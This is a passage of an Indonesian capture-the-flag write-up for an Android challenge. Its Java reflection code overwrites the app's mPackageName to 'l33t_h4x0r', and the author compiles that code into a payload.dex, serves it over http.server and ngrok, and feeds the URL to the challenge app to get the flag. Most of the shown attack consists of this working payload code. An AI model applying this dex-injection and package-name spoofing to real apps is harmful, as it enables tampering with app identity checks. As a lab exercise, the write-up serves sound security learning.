Seperti yang diberikan hint oleh pembuat soal bahwa getPackageName itu terdapat pada mPackageInfo.

Setelah menghabiskan banyak waktu disini, akhirnya saya menemukan bahwa didalam fields mBoundApplication terdapat field info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            Field[] fields = clazz.getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("Field" + String.valueOf(i), fields[i].getName());
            }

            Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Dan akhirnya didapatilah field mPackageName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            Field[] fields = clazz.getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("Field" + String.valueOf(i), fields[i].getName());
            }

            Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

//            Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();
//            for(int i = 0; i < fields.length; i++) {
//                Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName());
//            }

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Setelah mendapatkan field yang benar, sekarang tinggal merubah value dari mPackageName ini ke l33t_h4x0r dengan kode berikut ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            // Get the current ActivityThread instance
            Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            // Get the loaded package info
            Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            // Set the new package name
            Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
            packageNameField.setAccessible(true);
            packageNameField.set(loadedApkInfo, "l33t_h4x0r");

            Log.e("PackageName", getPackageName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Setelah dijalankan dan dilihat dilogcat package name sudah berhasil dirubah ke l33t_h4x0r.

Setelah itu tinggal copy code nya dan masukan kedalam class Main dan didalam fungsi execute.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.kuro.payload;

import android.content.pm.ApplicationInfo;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
    public static void execute() {

        try {
            // Get the current ActivityThread instance
            Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            // Get the loaded package info
            Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            // Set the new package name
            Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
            packageNameField.setAccessible(true);
            packageNameField.set(loadedApkInfo, "l33t_h4x0r");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

Setelah itu set gradle nya agar ketika dibuild classes.dex nya itu hanya satu dan tidak multiple dengan menambahkan config sebagai berikut:

Setelah itu kita build projek ini.

Akan muncul popup di pojok kanan bawah seperti berikut ini.

Klik locate dan akan diarahkan ke folder apk yang sudah dibuild:

Masuk kedalam folder debug.

Dan app-debug.apk ini adalah hasil compile kita tadi, setelahnya kita buka apk ini di jadx untuk kita ambil classes.dex nya dan kita pakai di aplikasi challenge.

folder apk hasil compile ada di <Nama Folder Projek>\app\build\outputs\apk\debug.

Setelah dibuka dengan jadx, kita save all hasil decompile ini dan masukan kedalam sebuah folder, saya sendiri memasukannya ke folder kelasss.

Setelah itu kita copy classes.dex nya yang terdapat di folder kelasss/resources/classes.dex ke folder yang lain untuk bisa kita transfer ke aplikasi challenge.

Saya memasukannya di folder internals saja dan saya rubah namanya ke payload.dex dan menjalankan http.server dan ngrok, setelah itu tinggal masukan url nya ke box dan exploit kita berhasil untuk mendapatkan flagnya.

Tinggal dijalankan di Virtual Android Device dan didapatkan flagnya:

Reference:

]]> <p><img lazyload src="/images/loading.svg" data-src="https://hackmd.io/_upl